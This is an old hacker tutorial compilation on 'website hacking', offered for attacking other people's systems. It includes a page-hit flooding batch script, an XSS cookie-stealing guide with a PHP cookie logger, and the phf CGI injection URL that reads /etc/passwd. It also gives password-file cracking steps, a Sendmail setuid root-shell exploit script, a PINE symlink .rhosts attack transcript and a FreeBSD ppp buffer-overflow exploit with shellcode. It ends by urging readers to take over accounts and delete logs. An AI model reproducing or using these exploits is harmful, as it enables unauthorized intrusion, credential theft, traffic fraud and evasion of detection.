Website Hacking

Page hits Flooders
This small program can flood ur page hits.
but you have to dedicate one browser for it.. like internet explorer



method:

make a batch file with these lines @echo off
:1
start C:\Progra~1\Intern~1\iexplore.exe "http://yoursite.com"
ping -n 10 127.0.0.1 >nul
taskkill.exe /im iexplore.exe
goto 1
depending upon your net speed u may increase the 10 secs time wait
with 10 sec time u may have 360 hits in an hour
with 5 sec time u may have 720 hits in an hour.




Cookie Steeling

Cookiestealing is one of the most fundamental aspects of XSS (cross site scripting).
Why is the cookie so important? Well, first you should see exactly what sort of
information is stored in a cookie. Go to a website that requires a login, and after
logging in erase everything in your address bar and type this line of code:

Code:
jalert(document.cookie)After you press enter, you should see a pop-up window with some information in it
(that is, if this site uses cookies). This is the data that is stored in your cookie. Here’s an
example of what might be in your cookie:

Code:
username=CyberPhreak; password=ilikepieThis is, of course, a very insecure cookie. If any sort of vulnerability was found that
allowed for someone to view other people’s cookies, every user account is possibly
compromised. You’ll be hard-pressed to find a site with cookies like these. However, it
is very common (unfortunately) to find sites with hashes of passwords within the cookie.

The reason that this is unfortunate is because hashes can be cracked, and oftentimes
just knowing the hash is enough.

Now you know why cookies are important; they usually have important information about the
user in them. But how would we go about getting or changing other users’ cookies? This is
the process of cookiestealing.

Cookiestealing is a two-part process. You need to have a script to accept the cookie, and
you need to have a way of sending the cookie to your script. Writing the script to accept
the cookie is the easy part, whereas finding a way to send it to your script is the hard
part. I’ll show you an example of a pHp script that accepts cookies:

Code:
$cookie = $_GET['cookie'];
$log = fopen("log.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?>And there you have it, a simple cookiestealer. The way this script works is that it accepts
the cookie when it is passed as a variable, in this case ‘cookie’ in the URL, and then
saves it to a file called ‘log.txt’. For example:

Code:
http://yoursite.com/steal.php?cookie=steal.php is the filename of the script we just wrote, ? lets the script know that we are
going to pass some variables to it, and after that we can set cookie equal to whatever
we want, but what we want to do is set cookie equal to the cookie from the site. This
is the second and harder part of the cookiestealer.

Most websites apply some sort of filter to input, so that you can’t directly insert your
own code. XSS deals with finding exploits within filters, allowing you to put your own
code into a website. This might sound difficult, and in most cases it’s not easy, but
it can be very simple.

Any website that allows you to post text potentially allows you to insert your own code
into the website. Some examples of these types of sites are forums, guestbooks, any site
with a "member profile", etc. And any of these sites that have users who log in also
probably use cookies. Now you know what sort of sites might be vulnerable to
cookiestealing.

Let’s assume that we have a website that someone made. This website has user login
capability as well as a guestbook. And let’s also assume that this website doesn’t have
any kind of filtering on what can be put into the guestbook. This means that you can
put HTML and Javascript directly into your post in the guestbook. I’ll give you an
example of some code that we could put into a guestbook post that would send the user’s
cookie to out script:

Code:
Now whenever someone views the page that you posted this on, they will be redirected to
your script with their cookie from this site in the URL. If you were to look at log.txt
now, you’d see the cookies of whoever looked at that page.
But cookiestealing is never that easy. Let’s assume now that the administrator of this
site got smart, and decided to filter out script tags. Now you code doesn’t work, so
we have to try and evade the filter. In this instance, it’s easy enough:

Code:
Click MeIn this case, when the user clicks on the link they will be sent to your stealer with their
cookie. Cookiestealing, as are all XSS attacks, is mostly about figuring out how to get
around filters.




Hacking Webpages



Well Psychotic wrote one of the most helpful unix text files in cyberspace but with the mail that we recieved after the release of our famous 36 page Unix Bible we realised that unix isn't for everybody so we decided that we should write on another aspect of hacking..... Virtual Circuit and Psychotic is proud to release, "Hacking Webpages With a few Other Techniques." We will discuss a few various ways of hacking webpages and getting root. We are also going to interview and question other REAL hackers on the subjects.

Getting the Password File Through FTP

Ok well one of the easiest ways of getting superuser access is through anonymous ftp access into a webpage. First you need learn a little about the password file...

root:User:d7Bdg:1n2HG2:1127:20:Superuser
TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh
BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh

This is an example of a regular encrypted password file. The Superuser is the part that gives you root. That's the main part of the file.

root:x:0:1:Superuser:/:
ftp:x:202:102:Anonymous ftp:/u1/ftp:
ftpadmin:x:203:102:ftp Administrator:/u1/ftp

This is another example of a password file, only this one has one little difference, it's shadowed. Shadowed password files don't let you view or copy the actual encrypted password. This causes problems for the password cracker and dictionary maker(both explained later in the text). Below is another example of a shadowed password file:

root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false
ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false

Shadowed password files have an "x" in the place of a password or sometimes they are disguised as an * as well.

Now that you know a little more about what the actual password file looks like you should be able to identify a normal encrypted pw from a shadowed pw file. We can now go on to talk about how to crack it.

Cracking a password file isn't as complicated as it would seem, although the files vary from system to system. 1.The first step that you would take is to download or copy the file. 2. The second step is to find a password cracker and a dictionary maker. Although it's nearly impossible to find a good cracker there are a few ok ones out there. I recomend that you look for Cracker Jack, John the Ripper, Brute Force Cracker, or Jack the Ripper. Now for a dictionary maker or a dictionary file... When you start a cracking prog you will be asked to find the the password file. That's where a dictionary maker comes in. You can download one from nearly every hacker page on the net. A dictionary maker finds all the possible letter combinations with the alphabet that you choose(ASCII, caps, lowercase, and numeric letters may also be added) . We will be releasing our pasword file to the public soon, it will be called, Psychotic Candy, "The Perfect Drug." As far as we know it will be one of the largest in circulation. 3. You then start up the cracker and follow the directions that it gives you.

The PHF Technique
Well I wasn't sure if I should include this section due to the fact that everybody already knows it and most servers have already found out about the bug and fixed it. But since I have been asked questions about the phf I decided to include it.

The phf technique is by far the easiest way of getting a password file(although it doesn't work 95% of the time). But to do the phf all you do is open a browser and type in the following link:

http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

You replace the webpage_goes_here with the domain. So if you were trying to get the pw file for www.webpage.com you would type:

http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

and that's it! You just sit back and copy the file(if it works).

Telnet and Exploits
Well exploits are the best way of hacking webpages but they are also more complicated then hacking through ftp or using the phf. Before you can setup an exploit you must first have a telnet proggie, there are many different clients you can just do a netsearch and find everything you need.

It's best to get an account with your target(if possible) and view the glitches from the inside out. Exploits expose errors or bugs in systems and usually allow you to gain root access. There are many different exploits around and you can view each seperately. I'm going to list a few below but the list of exploits is endless.

This exploit is known as Sendmail v.8.8.4
It creates a suid program /tmp/x that calls shell as root. This is how you set it up:
cat << _EOF_ >/tmp/x.c
#define RUN "/bin/ksh"
#include
main()
{
execl(RUN,RUN,NULL);
}
_EOF_
#
cat << _EOF_ >/tmp/spawnfish.c
main()
{
execl("/usr/lib/sendmail","/tmp/smtpd",0);
}
_EOF_
#
cat << _EOF_ >/tmp/smtpd.c
main()
{
setuid(0); setgid(0);
system("chown root /tmp/x ;chmod 4755 /tmp/x");
}
_EOF_
#
#
gcc -O -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1`
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
echo "leet..."
/tmp/x
fi


and now on to another exploit. I'm going to display the pine exploit through linux. By watching the process table with ps to see which users are running PINE, one can then do an ls in /tmp/ to gather the lockfile names for each user. Watching the process table once again will now reveal when each user quits PINE or runs out of unread messages in their INBOX, effectively deleting
the respective lockfile.

Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts(for a generic example) will cause PINE to create ~hamors/.rhosts as a 666 file with PINE's process id as its contents. One may now simply do an echo "+ +" > /tmp/.hamors_lockfile, then rm /tmp/.hamors_lockfile.

This was writen by Sean B. Hamor…For this example, hamors is the victim while catluvr is the attacker:

hamors (21 19:04) litterbox:~> pine

catluvr (6 19:06) litterbox:~> ps -aux | grep pine
catluvr 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine
hamors 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine

catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors
- -rw-rw-rw- 1 hamors elite 4 Aug 26 19:05 .302.f5a4

catluvr (8 19:07) litterbox:~> ps -aux | grep pine
catluvr 1744 0.0 1.8 100 356 pp3 S 19:08 0:00 grep pine

catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4

hamors (23 19:09) litterbox:~> pine

catluvr (11 19:10) litterbox:~> ps -aux | grep pine
catluvr 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine
hamors 1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine

catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4

catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4
+ +

catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4

catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors


now on to another one, this will be the last one that I'm going to show. Exploitation script for the ppp vulnerbility as described by no one to date, this is NOT FreeBSD-SA-96:15. Works on

FreeBSD as tested. Mess with the numbers if it doesnt work. This is how you set it up:

#include

#include

#include

#define BUFFER_SIZE 156 /* size of the bufer to overflow */

#define OFFSET -290 /* number of bytes to jump after the start
of the buffer */

long get_esp(void) { __asm__("movl %esp,%eax\n"); }
main(int argc, char *argv[])
{
char *buf = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
char execshell[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16 bytes */
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16 bytes */
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" /* 20 bytes */
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; /* 15 bytes, 57 total */

int i,j;

buf = malloc(4096);

/* fill start of bufer with nops */

i = BUFFER_SIZE-strlen(execshell);

memset(buf, 0x90, i);
ptr = buf + i;

/* place exploit code into the buffer */

for(i = 0; i < strlen(execshell); i++)
*ptr++ = execshell[i];

addr_ptr = (long *)ptr;
for(i=0;i < (104/4); i++)
*addr_ptr++ = get_esp() + OFFSET;

ptr = (char *)addr_ptr;
*ptr = 0;

setenv("HOME", buf, 1);

execl("/usr/sbin/ppp", "ppp", NULL);
}

Now that you've gotten root "what's next?" Well the choice is up to you but I would recommend changing the password before you delete or change anything. To change their password all you have to do is login via telnet and login with your new account. Then you just type: passwd and it will ask you for the old password first followed by the new one. Now only you will have the new pw and that should last for a while you can now upload you pages, delete all the logs and just plain do your worstJ Psychotic writes our own exploits and we will be releasing them soon, so keep your eyes open for them. We recommend that if you are serious about learing ethnical hacking that you download our Unix Bible.